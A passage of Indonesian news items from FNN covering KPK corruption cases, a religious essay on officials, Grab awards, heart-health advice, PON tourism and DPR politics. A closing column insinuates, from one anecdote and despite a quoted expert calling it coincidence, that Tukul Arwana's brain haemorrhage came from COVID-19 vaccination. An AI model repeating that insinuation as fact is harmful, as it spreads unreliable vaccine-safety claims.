sehari-hari saksi Nurhadi dan Rezky Herbiyono beserta keluarganya, padahal mengetahui bahwa status saksi Rezky Herbiyono dan Nurhadi adalah sebagai tersangka dan DPO oleh KPK. Pada Mei 2020, penyidik mendapat informasi keberadaan Nurhadi dan Rezky kemudian pada 1 Juni 2020, tim penyidik mendatangi lokasi tersebut untuk melakukan penangkapan. Namun, setiba di lokasi terdakwa telah bersiap-siap menunggu di depan pintu gerbang rumah memakai mobil Toyota Fortuner nomor polisi B-1187-Q dengan kondisi mesin kendaraan yang menyala sebagai upaya untuk melarikan Nurhadi dan Rezky Herbiyono, namun sebelum terlaksana, Ferdy melihat mobil tim Penyidik KPK mendekat dan langsung menjalankan kendaraannya sehingga tidak terkejar oleh penyidik dan selanjutnya Ferdy pulang ke Surabaya. Penyidik lalu menggeledah rumah tersebut dan mendapati Nurhadi sedang bersembunyi di salah satu kamar, dan Rezky bersembunyi di kamar lain sehingga Nurhadi dan Rezky bisa diamankan dan dibawa ke KPK. (mth)

Pengetahuan Pejabat Negara

Oleh Fauzul Iman SAAT Tuhan diprotes malaikat yang tidak percaya pada kemampuan manusia menjadi khalifah di muka bumi, Tuhan bergeming dari protes itu dan tetap saja Dia menciptakan manusia di muka bumi yang disiapkan menjadi khalifah. Rencana pendirian khalifah oleh Tuhan tentu tidak dilakukan sembarang. Respons tegas Tuhan pada para Malaikat, " Aku lebih tahu dari kalian" merupakan kapasitas-Nya dalam mentransendesi segenap pembekalan kompetensial yang disiapkan untuk seorang khalifah. Realitasnya Tuhan terbukti menciptakan seorang yang bernama Adam . Makhluk manusia pertama yang didesain menjadi khalifah ini tidak dibiarkan begitu saja sebagai jasad kosong yang membeku tanpa daya. Tetapi ke dalam jasadnya ditiupkan ruh oleh Tuhan . Ruh ini merupakan meta daya indrawi yang berisi spritualitas, kognisi /nalar dan saraf motorik yang berfungsi menggerakan segenap dimensi kehidupannnya. Tidak sampai di sini, Adam juga dibekali kualifikasi kompentensial oleh Tuhan berupa pendidikan untuk mengenali nama-nama (Q.S . 2 :31). Nasir Hamid dalam bukunya Mafhumu an-Nash Dirasat fi Ulum al-Quran memahami nama dalam teks adalah penanda/signifie yang memiliki signifaksi (magza) dengan kontek yang dihadapinya. Dengan kata lain, di balik nama/tanda /teks itu terkandung isyarat atau pengetahuan mendalam guna membangun perilaku dan kebudayaannya. Berakar dari cara Tuhan mendidik Adam AS melalui pengenalan nama/tanda , manusia sebagai generasi khalifah/pengganti Adam, sudah barang tentu pengetahuan mendalam dibalik tanda tadi sangat diperlukan guna membentuk perilaku dan kebudayaannya. Dalam konteks inilah siapapun yang diamanahi menjadi pemimpin atau pejabat negara agar tajam memahami di balik nama/tanda /isyarat sehingga tidak ambyar membangun opini atau mengambil keputusan. Memang terdapat perbedaan antara karakter malaikat dengan manusia. Malaikat diciptakan Tuhan bernalar monoton agar sepenuhnya patuh/tunduk menerima perintah-Nya tanpa membantah sedikitpun. Sebaliknya manusia diberi kekuatan nalar yang membuat ia sering ngeyel dengan banyak dalih. Bahkan demi mengejar pamrih manusia kerap bersikap carmuk dan menjilat. Terkadang demi membunuhi kebutuhan fragmatisnya manusia sangat setia mentaati perintah atasannya tanpa peduli dengan keresahan ataupun penderitaan bawahannya. Lamun dengan pendidikan dari Tuhan berupa pendidikan ruhaniah dan pengenalan nama /tanda, manusia yang diberi amanah sebagai khalifah atau pejabat negara tidak boleh menghindar dari penguasaan pada pengetahuan cerdasnya memahami dibalik nama atau tanda. Pendidikan Tuhan ini merupakan bukti dari daya jamin pengetahuanTuhan yang dinyatakan di depan para malaikat saat protes tidak sepakat menciptakan manusia di bumi karena tabiat manusia gemar melakukan kerusakan. Kenyataannya Tuhan merancang kearifan dengan mendirikan instrumen dan pranata sosialnya di muka bumi. Tidak mengherankan, menurut Komaruddin Hidayat dalam bukunya Imaginasi Islam : Sebuah Rekonstruksi Masa Depan Islam, dengan kelebihan manusia yang diberikan kemampuan instrumen dalam membaca di balik nama/tanda olah Tuhan, ia mampu membuat pranata sosial seperti berdirinya institusi - institusi termasuk institusi besar sejenis PBB . Tidak sedikit para pemimpin bangsa di dunia, demikian Komaruddin, yang mampu membaca makna dibalik tanda/ nama dengan cerdas berhasil memimpin dengan demokratis . Pemimpin itu bukan hanya karena cerdas memahamimya tapi juga berkomitmen menegakkan tanda-tanda itu seperti mematuhi pranata, aturan, sejarah, budaya dan sosiologi bangsa. Sungguh tidak lama ini amat disayangkan beberapa pejabat kita kerap melontarkan kalimat dan kebijakan yang mengabaikan kecerdasan dalam memahami di balik tanda. Padahal di balik tanda yang melekati seoarang khalifah atau pejabat negara seperti komitmen/pengetahuan pada aturan, pengetahuan pada sejarah, sosial dan budaya merupakan hasil pendidikan yang sangat niscaya. Kegelapan komitmen para pejabat pada pengetahuan dan pembacaan kontekstual terhadap konstitusi / undang-undang berakibat pada fatalnya mengutarakan opini /statemen dan rapuhnya setiap kebijakan yang dilahirkan di ruang publik. Keresahan dan kegaduhan yang baru-baru ini diluapkan publik melalu krittik pedas baik berupa celotehan mural, kritikan keras lewat medsos maupun kritik lewat jalur kelembagaan resmi oleh para cendekiawan. Ditambah dengan pembiaran para buzer yang makin beringas melakukan penghinaan dan fitnah harian terhadap para tokoh dan komunitas muslim. Semua itu terjadi akibat dari kedangkalan komitmen dan pengetahuan beberapa pejabat negara terhadap tanda-tanda atau dibalik tanda-tanda dimaksud. Pembiaran/pengabaian pada semua ini capat atau lambat tidak mustahil negara yang sangat kita cintai ini kelak berujung pada kehancuran. Nauzubillah! *) Guru Besar UIN Banten

KPK Amankan Dokumen dari DPMPTSP Kabupaten Probolinggo

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengamankan dokumen dari penggeledahan di Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP)/Mal Pelayanan Publik Kabupaten Probolinggo, Jawa Timur, Jumat (24/9). "Ditemukan dan diamankan bukti di antaranya berbagai dokumen yang terkait dengan perkara," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Senin. Penggeledahan dilakukan dalam penyidikan kasus dugaan suap terkait seleksi jabatan di lingkungan Pemerintah Kabupaten Probolinggo Tahun 2021. Selain itu pada Sabtu (25/9), tim penyidik KPK menggeledah dua lokasi berbeda di Kabupaten Probolinggo, yaitu rumah kediaman dari pihak terkait dengan kasus tersebut beralamat di Kalirejo, Kecamatan Dringu dan di Semampir, Kecamatan Kraksaan. Dari penggeledahan dua lokasi itu, KPK mengamankan dokumen terkait dengan kasus. Ali mengatakan KPK akan mencocokkan mengenai keterkaitan bukti-bukti yang diamankan dengan kasus tersebut dan selanjutnya dilakukan penyitaan untuk melengkapi berkas perkara tersangka Bupati Probolinggo Puput Tantriana Sari (PTS) dan kawan-kawan. KPK total menetapkan 22 orang sebagai tersangka kasus tersebut. Sebagai penerima, yaitu Bupati Probolinggo Puput Tantriana Sari, Hasan Aminuddin (HA) yang merupakan suami Puput dan juga pernah menjabat sebagai Bupati Probolinggo, Doddy Kurniawan (DK) selaku Aparatur Sipil Negara (ASN)/Camat Krejengan, Kabupaten Probolinggo, dan Muhammad Ridwan (MR) selaku ASN/Camat Paiton, Kabupaten Probolinggo. Sementara 18 orang sebagai pemberi suap merupakan ASN Pemkab Probolinggo. Sebagai penerima, empat orang tersebut disangkakan melanggar Pasal 12 huruf a atau Pasal 12 huruf b atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat 1 ke-1 KUHP. Sedangkan sebagai pemberi, sebanyak 18 orang disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat (1) ke-1 KUHP. Dalam konstruksi perkara, KPK menjelaskan bahwa pemilihan kepala desa serentak tahap II di wilayah Kabupaten Probolinggo yang awalnya diagendakan pada 27 Desember 2021 mengalami pengunduran jadwal. Adapun terhitung 9 September 2021 terdapat 252 kepala desa dari 24 kecamatan di Kabupaten Probolinggo yang selesai menjabat. Untuk mengisi kekosongan jabatan kepala desa tersebut maka akan diisi oleh penjabat kepala desa yang berasal dari para ASN di Pemkab Probolinggo dan untuk pengusulannya dilakukan melalui camat. KPK menyebut ada persyaratan khusus di mana usulan nama para penjabat kepala desa harus mendapatkan persetujuan Hasan yang juga suami Puput dalam bentuk paraf pada nota dinas pengusulan nama sebagai representasi dari Puput dan para calon penjabat kepala desa juga diwajibkan memberikan dan menyetorkan sejumlah uang. Adapun tarif untuk menjadi penjabat kepala desa di Kabupaten Probolinggo sebesar Rp20 juta per orang ditambah dalam bentuk upeti penyewaan tanah kas desa dengan tarif Rp5 juta per hektare. (mth)

Grab Umumkan 17 Pahlawan Warga Pilihan Warganet

Jakarta, FNN - Grab Indonesia bersama Narasi mengumumkan tujuh belas Pahlawan Warga terpilih dari 330 kandidat yang dinominasikan oleh masyarakat (warganet) melalui foto dan cerita di akun media sosial Narasi dan Grab dari 17 Agustus hingga 12 September 2021. Pengumuman disiarkan virtual secara langsung pada media sosial Grab dan Narasi dalam acara bertajuk Malam Apresiasi Pahlawan Warga, sebagaimana dikutip dari keterangan yang diterima di Jakarta, Senin. Sebagai ungkapan terima kasih kepada tujuh belas Pahlawan Warga Terpilih, Grab Indonesia memberikan apresiasi berupa uang tunai senilai total Rp170 juta. Tujuh belas Pahlawan Warga terpilih merupakan sosok-sosok warga biasa dari berbagai wilayah di Indonesia dan latar belakang yang berbeda-beda, mulai dari pelajar, mahasiswa, pemuda, relawan, kaum ibu, lansia hingga penyandang disabilitas yang dengan keterbatasannya melakukan kebaikan serta aksi nyata tanpa pamrih, atas dasar kemanusiaan meringankan beban sesama selama pandemi COVID-19. Berbagai aksi kebaikan yang dilakukan di antaranya; membuat dapur umum dan membagikan makanan gratis kepada pasien COVID-19 dan warga yang terdampak pandemi, memberikan bantuan medis, menggiatkan serta mengedukasi warga mengenai protokol kesehatan, hingga menolong pemakaman jenazah COVID-19. Sementara untuk tujuh belas orang warganet yang telah menominasikan Pahlawan Warga terpilih, Grab juga memberikan apresiasi uang tunai senilai total Rp 17.000.000. “Selama pandemi kita telah menyaksikan dan merasakan bersama, semangat menebar kebaikan serta aksi nyata para Pahlawan Warga membawa dampak yang luar biasa, bahkan tak jarang melebihi kapasitasnya. Kontribusi tulus mereka untuk sesama menginspirasi kita untuk selalu saling menolong, karena yang terbaik yang kita miliki adalah satu sama lain,” ujar Neneng Goenadi selaku Country Managing Director Grab Indonesia. Pemilihan tujuh belas Pahlawan Warga melibatkan sejumlah tokoh sebagai tim penilai yaitu; Neneng Goenadi (Country Managing Director Grab Indonesia), Najwa Shihab (Jurnalis), Alissa Wahid (Aktivis Sosial), Andy F. Noya (Jurnalis dan Pendiri benihbaik.com) dan Ndorokakung (Pegiat Media Sosial). Sebelum melakukan penilaian, panitia penyelenggara telah melakukan proses kurasi, seleksi dan verifikasi terhadap seluruh pengirim photo story serta Pahlawan Warga yang dinominasikan melalui media sosial Instagram. Penilaian dilakukan dengan meninjau berbagai aspek dari sisi penyampaian foto dan cerita serta validasi akan aksi nyata yang dilakukan para Pahlawan Warga sesuai kategori yang ditetapkan, yakni pembimbing, penggerak dan di balik layar. Gerakan apresiasi Pahlawan Warga diselenggarakan atas inisiatif Grab dengan berkolaborasi bersama Narasi. (mth)

Inovasi Teknologi Kesehatan dan Digital untuk Jaga Kesehatan Jantung

Jakarta, FNN - Penyakit kardiovaskular masih menjadi salah satu penyakit yang menjadi ancaman kesehatan di dunia dan merupakan penyakit nomor satu yang menjadi penyebab utama kematian nomor satu di seluruh dunia. Data Organisasi Kesehatan Dunia (WHO) menyebutkan, lebih dari 17 juta orang di dunia meninggal akibat penyakit jantung dan pembuluh darah. Sementara berdasarkan data Riset Kesehatan Dasar (Riskesdas) tahun 2018, angka kejadian penyakit jantung dan pembuluh darah semakin meningkat dari tahun ke tahun. Setidaknya 15 dari 1000 orang, atau saat ini terdapat 4,2 juta orang yang menderita penyakit kardiovaskular, dan 2.784.064 diantaranya menderita penyakit jantung. Institute for Health Metrics and Evaluation (IHME) melaporkan 14,4 persen sebab kematian di Indonesia adalah penyakit jantung koroner. Ketua Umum Pengurus Pusat Perhimpunan Dokter Spesialis Kardiovaskular Indonesia (PERKI) DR. dr. Isman Firdaus Sp.JP (K), FIHA, FAPSIC, FAsCC, FESC, FACC, FSCAI dalam keterangannya mengatakan pandemi COVID-19 yang berlangsung sejak akhir tahun 2019 menjadi kekhawatiran tersendiri bagi orang dengan penyakit jantung. Isman menjelaskan kekhawatiran ini muncul mengingat paparan infeksi apapun termasuk infeksi COVID-19 dapat mencetuskan perburukan dari penyakit kardiovaskular seperti terjadinya kekambuhan penyakit jantung coroner atau gagal jantung menahun. Tidak sampai di situ, kondisi ini bahkan lebih mudah menyebabkan kematian pada pasien yang terinfeksi virus corona dengan komorbid penyakit jantung dibandingkan tanpa penyakit jantung Laporan rata-rata di berbagai rumah sakit di masa pandemi menunjukkan bahwa 16,3 persen pasien yang dirawat dari ruang isolasi COVID-19 ternyata mempunyai penyakit bawaan (komorbid) atau koinsiden penyakit kardiovaskular. Di masa sebelum pandemi dilaporkan bahwa laju rerata mortalitas di RS akibat serangan jantung adalah 8 persen, namun di masa pandemi, angka ini dilaporkan meningkat hingga 22-23 persen. Dalam rangka memeringati Hari Jantung Sedunia tanggal 29 September, Perhimpunan Dokter Spesialis Kardiovaskular Indonesia (PERKI) menyoroti pentingnya menjaga kesehatan jantung dengan bantuan inovasi dan perubahan teknologi dan digital yang ada. “Inovasi digital telah membantu masyarakat yang sehat maupun yang sakit di masa pandemi untuk mendapatkan akses kesehatan dengan mudah, layanan konsultasi secara online, edukasi kesehatan, dan pemantauan capaian aktifitas fisik dan olahraga, serta layanan antar obat-obatan ke rumah,” kata Isman. Inovasi teknologi dan digital Isman juga mengatakan bahwa kemajuan teknologi informasi dan digital ini juga diikuti dengan keprihatinan PERKI akan misinformasi, berita bohong (hoaks), serta disinformasi mengenai kesehatan yang beredar di dunia maya, terutama terkait kesehatan jantung yang disebarluaskan oleh media-media sosial dan hal ini perlu diluruskan. Selain inovasi teknologi dan digital, PERKI juga mengangkat isu kesadaran semua pemangku kepentingan (stakeholder) di bidang kesehatan termasuk organisasi profesi, organisasi masyarakat, dan juga pemerintah untuk bahu membahu bersama-sama membangun kesehatan masyarakat terutama dalam pencegahan dan penanggulangan penyakit kardiovaskular di Indonesia. Salah satu bukti kolaborasi ini antara lain melalui Jaminan kesehatan nasional (JKN) yang sebagai salah satu sistem kesehatan di Indonesia telah terbukti memberikan dukungan dan manfaat yang sangat besar terutama untuk penanggulangan penyakit kardiovaskular. “Menjalin silaturahmi komunikasi bersama organisasi profesi lain dan organisasi masyarakat, yang secara langsung berhadapan dengan pasien kardiovaskular, menjadi salah satu langkah penting dan strategis agar penanggulangan penyakit kardiovaskular di Indonesia tertangani dengan baik,” kata Sekjen Pengurus Pusat PERKI Dr. dr. Dafsah Arifa Juzar, Sp.JP(K). Rekomendasi PERKI Berikut adalah rekomendasi PERKI untuk pencegahan dan penanggulangan penyakit kardiovaskular untuk orang sehat maupun orang dengan penyakit jantung di masa pandemi: 1. Hindari merokok dan asap rokok terutama di masa pandemi ini. 2. Menjaga kebersihan diri dan lingkungan serta menerapkan protokol kesehatan jaga jarak, memakai masker, kebersihan tangan, membatasi mobilitas, menghindari makan bersama) dengan ketat. 3. Segera melakukan vaksinasi dengan sebelumnya terlebih dahulu berkonsultasi dan memperoleh rekomendasi dokter. 4. Gunakan fasilitas telekonsultasi yang banyak disediakan oleh Rumah Sakit maupun klinik kesehatan. 5. Tetap memiliki kesadaran dan aktif mempraktekkan kebiasaan dan budaya sehat jantung seperti tetap beraktivitas fisik secara teratur sesuai dengan kemampuan kerja jantung dan tubuh. 6. Pada orang dengan penyakit Jantung atau risikonya, sebelum berolahraga sebaiknya konsultasikan terlebih dahulu jenis olahraga apa yang tepat sehingga tidak membebani kerja jantung. 7. Konsumsi makanan tinggi serat dan kurangi konsumsi gula, garam dan lemak. 8. Bagi orang dengan penyakit jantung, riwayat penyakit jantung, ataupun risikonya, perlu memperhatikan dan mematuhi jadwal obat rutin untuk pencegahan sekunder. 9. Berbagai spektrum penyakit kardiovaskular seperti gagal jantung, penyakit jantung rematik, hipertensi, gangguan katup jantung, gangguan irama jantung, dan penyakit jantung pada anak harus dipantau dan dikendalikan sebaik mungkin dengan senantiasa berkonsultasi kepada dokter spesialis jantung dan pembuluh darah agar kondisi jantung tetap stabil dan penderita bisa beraktivitas dengan baik. "Penting untuk meningkatkan kesadaran tentang penyakit jantung, tidak hanya bagi diri sendiri tetapi juga untuk orang-orang di sekitar kita," tutup DR. dr. Dafsah Arifa Menurunkan beban penyakit kardiovaskular di Indonesia tidak hanya tugas salah satu atau beberapa pihak, namun peran semua lapisan masyarakat (pasien, dokter, keluarga pasien, organisasi swadaya masyarakat, organisasi profesi dan pemerintah). Karena lebih baik mencegah daripada harus mengobati. (mth)

Pengamat: PON Jadi Momentum Tepat Dongkrak Pariwisata Papua

Purwokerto, FNN - Pengamat pariwisata Universitas Jenderal Soedirman (Unsoed) Chusmeru mengatakan penyelenggaraan Pekan Olahraga Nasional (PON) XX di Papua menjadi momentum tepat untuk mendongkrak pariwisata di daerah tersebut. "Ini merupakan momentum yang tepat untuk makin mendongkrak sektor pariwisata di Papua," katanya di Purwokerto, Banyumas, Senin. Pasalnya, kata dia, gelaran olahraga nasional itu akan diikuti oleh lebih dari 7.000 atlet ditambah dengan ofisial. "Apalagi, jika panitia penyelenggara dan Pemerintah Provinsi Papua mengemas kegiatan PON dalam paket sport tourism atau wisata olahraga," katanya. Oleh sebab itu, kata dia, Pemprov Papua perlu menggarap hajatan olahraga nasional tersebut dengan strategi wisata olahraga. "Beberapa hal dapat dilakukan agar pariwisata Papua dapat terimbas dari kegiatan PON ini. Langkah pertama tentunya adalah jaminan keamanan dan kenyamanan bagi seluruh atlet dan rombongan untuk mengunjungi objek dan daya tarik wisata di Papua," katanya. Kedua, mengingat PON diselenggarakan masih dalam situasi pandemi COVID-19, maka perlu penerapan protokol kesehatan yang ketat bagi setiap peserta PON saat berada di objek wisata. Begitu pula dengan pengelola dan pekerja pariwisata di Papua juga menerapkan protokol kesehatan ketat. Dengan demikian, kata dia, atlet dapat tetap sehat ketika bertanding, berkunjung ke objek wisata, serta saat kembali ke daerah masing-masing. Ketiga, Pemprov Papua perlu secepatnya menyiapkan sumber daya manusia di sektor pariwisata yang siap melayani atlet PON dengan standar pelayanan kepada wisatawan. "Keempat, penataan objek dan daya tarik wisata perlu segera dilakukan. Papua memiliki objek wisata alam yang masih natural. Tinggal perlu dikembangkan daya tarik wisata seperti seni budaya, kuliner, dan hasil kerajinan untuk sajian wisatawan," katanya. Kelima, kerja sama dengan biro perjalanan wisata perlu segera dijalin untuk membuat paket wisata yang memadukan unsur olahraga, alam, dan budaya Papua. Dengan demikian, setiap atlet yang bertanding dalam cabang olahraga tertentu dapat melanjutkan kegiatan berwisata begitu pertandingan usai. "Jika kelima hal tersebut dapat dipersiapkan dengan baik, maka PON XX Papua dapat menciptakan banyak prestasi, kesempatan berekreasi, dan mendatangkan kemanfaatan ekonomi bagi pemerintah dan masyarakat Papua," katanya. (mth)

Wakil Ketua DPR: Belum Ada Nama Usulan Pengganti Azis Syamsuddin

Jakarta, FNN - Wakil Ketua DPR RI Sufmi Dasco Ahmad mengatakan hingga saat ini belum ada usulan nama pengganti Azis Syamsuddin yang diajukan Fraksi Partai Golkar ke Pimpinan DPR RI. "Sampai dengan hari ini belum ada surat masuk (terkait nama pengganti Azis Syamsuddin)," kata Dasco di Kompleks Parlemen, Jakarta, Senin. Dia menjelaskan, terkait pergantian posisi Azis Syamsuddin, mekanismenya diatur dalam UU MD3 dan semuanya diserahkan kepada partai politik asal yaitu Partai Golkar melalui Fraksi Partai Golkar. Dasco mengatakan, Fraksi Golkar akan mengusulkan kepada Pimpinan DPR terkait pengganti Azis Syamsuddin dan akan diproses melalui Rapat Pimpinan, Rapat Badan Musyawarah, dan terakhir dibawa dalam Rapat Paripurna untuk diambil keputusan. "Biarkan itu berproses sesuai dengan mekanisme yang ada di Partai Golkar, kami yang di DPR tinggal menunggu hasil dari mekanisme internal Partai Golkar," ujarnya. Dia mengatakan Pimpinan DPR akan menggelar Rapat Pimpinan pada Senin untuk menentukan siapa Pimpinan yang akan menjalankan tugas sementara Wakil Ketua DPR bidang Politik, Hukum, dan Keamanan yang ditinggalkan Azis Syamsuddin. Menurut dia, dalam Rapim DPR tersebut akan terlihat apakah surat dari Fraksi Partai Golkar terkait nama pengganti Azis Syamsuddin sudah masuk atau belum. (mth)

KIPI atau Sekadar Pendarahan Otak, Tukul Masuk Golongan yang Mana?

Oleh: Mochamad Toha KABAR Komedian Tukul Arwana mengalami pendarahan otak dan dilarikan ke Rumah Sakit Pusat Otak Nasional (RS PON), Rabu (22/9/2021) petang, beredar di media sosial maupun media online. Melalui video yang diunggah Jaka, salah satu pegawai Tukul ke MOP Channel di YouTube, Kamis (23/9/2021), diketahui kalau awalnya Tukul pusing-pusing sebelum dilarikan ke rumah sakit. “Itu tiba-tiba tadi, cuman sebentar doang katanya, kelihatannya pusing-pusing. “Ya sudah pak, ke dokter”, gitu,” kata Jaka dalam video itu, seperti dilansir Id-Times, Kamis (23/9/2021). Pegawai Tukul lainnya, Medi, mengatakan bahwa sebelumnya Tukul berada dalam kondisi sehat, bahkan sempat meminta dibelikan sikat gigi dan odol, lalu mandi. “Habis itu dia ke ruangan dalam saya enggak tahu, saya di luar,” kata Medi. Ia juga mengatakan bahwa salah seorang anak Tukul ikut ke rumah sakit. Sementara, anaknya yang masih kecil tetap berada di rumah. "(Tukul) enggak pernah (sakit), enggak ada, enggak pernah sakit kayaknya. Sakitnya ya pusing-pusing biasa. Bingung, keadaan sehat gitu dibawa (ke rumah sakit),” kata Medi. Dari akun Instagram-nya diketahui kalau empat hari sebelumnya, atau pada Ahad, 19 September 2021, Tukul divaksinasi Covid-19. “AYOK… VAKSIN BIAR KITA NYAMAN SEMUANYA,” ungkap Tukul melalui akun Instagram @tukul.arwanaofficial. Di akun itu Tukul memposting foto saat dirinya divaksin. Menurut Arie Karimah, Pharma-Excellent alumni ITB, ketika pertama kali membaca kasus Tukul, pertanyaan yang langsung terlintas: vaksinnya apa? Kejadiannya berapa hari setelah vaksinasi? Apakah pihak keluarga memberi tahu status/kondisi kesehatan sebelum peristiwa itu terjadi? Dan setelah mendapat beberapa petunjuk, “suddenly cross in my mind kasus dokter Obgyn Michael di Florida,” katanya. Kasus dokter Obgyn Michael itu yang memiliki beberapa kemiripan. “Karena setahu saya, itu satu-satunya kasus hemorrhagic stroke yang (juga) pernah dikaitkan dengan vaksin Pfizer,” lanjut Arie Karimah. Menurutnya, satu kemiripan adalah kebetulan, tapi kalau ada beberapa, itu bisa menjadi petunjuk. Dokter yang merawat Tukul sudah mengatakan bahwa Tukul mengalami stroke karena pendarahan di otak (Hemorrhagic Stroke), tiga hari setelah disuntik vaksin Pfizer. “Saya berasumsi ini suntikan pertama, karena tidak ada informasi, dan pada umumnya orang akan “memamerkan” vaksinasinya jika itu suntikan pertama,” ungkap Arie Karimah. Ia mengatakan, hampir semua kasus Hemorrhagic Stroke disebabkan oleh adanya aneurysm, yaitu kelainan pada salah satu bagian pembuluh darah di otak, sehingga menggelembung seperti balon. Hemorrhagic Stroke terjadi jika aneurysm ini pecah dan darah membanjiri area di sekitarnya. Ketika aneurysm itu pecah digambarkan bahwa yang bersangkutan mengalami sakit kepala yang hebat. Arie Karimah menggambarkan, seperti disambar halilintar. “Jadi, sekedar sakit kepala, apalagi bisa diredakan dengan Paramex atau Panadol, sama sekali tidak berkaitan dengan Hemorrhagic Stroke,” ujarnya. Pada kasus dokter Michael, ini adalah kasus langka: Hemorrhagic Stroke terjadi karena penyakit autoimun ITP (Immune Thrombocyto Penia). Terjadi penurunan kadar trombosit atau platelet, hingga kadarnya mencapai NOL, padahal kadar normalnya adalah 150.000 – 400. 000/mm3. Menurut Arie Karimah, trombosit adalah sel darah yang dibutuhkan untuk menghentikan pendarahan. Tanpa trombosit maka pendarahan tidak akan bisa dihentikan. Kondisi dr. Michael juga pertama kali terdeteksi 3 hari setelah vaksinasi pertama: muncul titik-titik merah di kaki dan tangan, yang merupakan pertanda pendarahan di bawah kulit, sehingga segera dibawa ke UGD. Bedanya dokter Michael “baru” mendapat serangan haemorrhagic stroke 2 minggu setelah dirawat di ICU. Sebelum mengalami stroke, Dokter Michael dikabarkan tetap sadar dan energik. Yang belum Arie ketahui, dokter belum menyebutkan hasil brain scan atau cerebral angiography, untuk mengetahui apakah ditemukan aneurysm yang pecah atau tidak. Untuk pendarahan di bawah kulit terkait Tutuk: keluarga Tukul, karena bukan orang-orang yang berkecimpung di bidang kesehatan, hampir pasti tidak memperhatikan hal ini. Kedua: pada kasus dokter Michael yang berkulit terang titik-titik merah ini tentu lebih mudah dikenali dibandingkan pada Tukul yang berkulit gelap. Arie Karimah menjelaskan, stroke itu terdiri dari 2 jenis: Iscahemic stroke dan Hemorrhagic stroke. Iscahemic stroke: ini akibat Penyumbatan Pembuluh Darah di leher (yang menuju ke otak) atau di otak. Umumnya itu didahului dengan gejala yang disebut ministroke atau TIA (Transient Ischaemic Attack): Muncul sebagian gejala stroke yang sangat samar, sehingga kadang sering diabaikan atau terabaikan. Ischaemic stroke ini lebih sering terjadi pada usia lanjut dan pemulihannya sangat lama, dan ini sering meninggalkan efek pelo, lumpuh sebagian/keseluruhan anggota gerak, dan kehilangan memori. Hemorrhagic stroke: akibat Pecahnya Pembuluh Darah di Otak. Lebih sering terjadi pada mereka yang berusia muda. Muncul secara tiba-tiba, umumnya tanpa didahului dengan tanda atau gejala sama sekali. “Dulu ketika saya masih rutin menonton TV, sebagian artis yang meninggal secara mendadak adalah akibat stroke jenis ini. Pada usia lanjut aneurysm biasanya secara “tidak sengaja” diketahui sewaktu general check up,” lanjut Arie Karimah. Arie mengatakan, pemulihannya bisa cepat bahkan tanpa meninggalkan “bekas”, jika pertolongan dilakukan dengan segera, yang dikenal sebagai “The 3-hour window”. Pertolongan yang benar itu diberikan dalam rentang waktu 3 jam pertama setelah munculnya gejala, ketika pendarahan belum menyebar ke area yang lebih luas, dan kematian sel-sel otak belum terjadi secara masif. Jika lewat dari 3 jam maka kembalinya kondisi seperti semula mungkin sulit diharapkan. Penanganan biasanya dilakukan dengan cara segera menghentikan pendarahan; Dan memberikan obat-obatan antinyeri, antihipertensi, antiudema (bengkak), antianxiety (antigelisah sekaligus berfungsi sebagai relaksan otot), dan antikejang. Jadi, apakah stroke yang dialami Tukul berkaitan dengan vaksinasi? Arie menjawab, berdasarkan penjelasan di atas, “menurut saya Tidak. Hanya sebuah kebetulan.” Tentu perlu penjelasan tentang hipertensi yang diderita Tukul, yang bisa menjadi pemicu pecahnya aneurysm, kalau itu yang menjadi penyebab stroke: Apakah hipertensinya terkontrol? Kapan terakhir cek tekanan darah dan berapa angkanya? Mungkin bisa dilacak dari hasil screening di tempat vaksinasi. Apakah rutin minum obat antihipertensi? Meskipun ada juga data yang menunjukkan bahwa jika 10 juta orang telah divaksinasi dengan Pfizer, maka ada kemungkinan 143 di antaranya akan mengalami stroke. “Namun tidak dijelaskan jenis yang mana: hemorrhagic atau ischaemic. Kemungkinan besar: ischaemic,” ungkap Arie Karimah. Dokter Michael yang akhirnya berpulang hasil otopsinya menunjukkan, kematiannya akibat ITP (Immune Thrombocyto Penia), bukan vaksinasi, yang tidak terdeteksi sebelum vaksinasi. “Kemungkinan berikutnya: apakah Tukul menderita penyakit autoimun? Yang mungkin tidak disadari atau belum pernah terdeteksi,” ungkap Arie Karimah. Tukul Arwana saat ini sedang mendapatkan perawatan intensif di Rumah RS PON, Jakarta Timur, setelah menjalani operasi akibat perdarahan otak. Rizki Kimon manajer Tukul Arwana mengatakan, selama ini komedian dan juga presenter berusia 57 tahun itu tidak punya riwayat penyakit berat sampai akhirnya mengalami perdarahan otak. Melansir dari Liputan6.com, Ahad (26 Sep 2021, 20:00 WIB), Tukul Riyanto begitu nama aslinya, juga tak pernah mengeluhkan kondisi kesehatannya. "Beliau (Tukul) enggak ada riwayat penyakit yang berat. Sebelum kejadian ini, enggak ada," ujar Rizki Kimon ditemui di RS PON, Sabtu (25/9/2021). Fakta: dari akun Instagram-nya diketahui empat hari sebelumnya, Ahad, 19 September 2021, Tukul divaksinasi Covid-19. Inikah penyebab Tukul mengalami pendaraah otak? Jangan sampai Komnas KIPI (Kejadian Ikutan Pasca Imunisasi/Vaksinasi) menyebut peristiwa yang dialami Tukul itu bukan termasuk KIPI. Karena, peristiwa serupa juga dialami oleh seorang teman wartawan. Beberapa pekan sebelumnya, seorang teman wartawan senior juga sempat dirawat di RS PON, setelah mengalami pendarahan di otak pasca divaksin beberapa hari sebelumnya. Sebenarnya, banyak peristiwa lainnya yang terjadi pasca vaksinasi. Namun pihak Komnas KIPI selalu berdalih, bukan karena vaksin. Penulis adalah Wartawan FNN.co.id

Nobar Film G30S/PKI

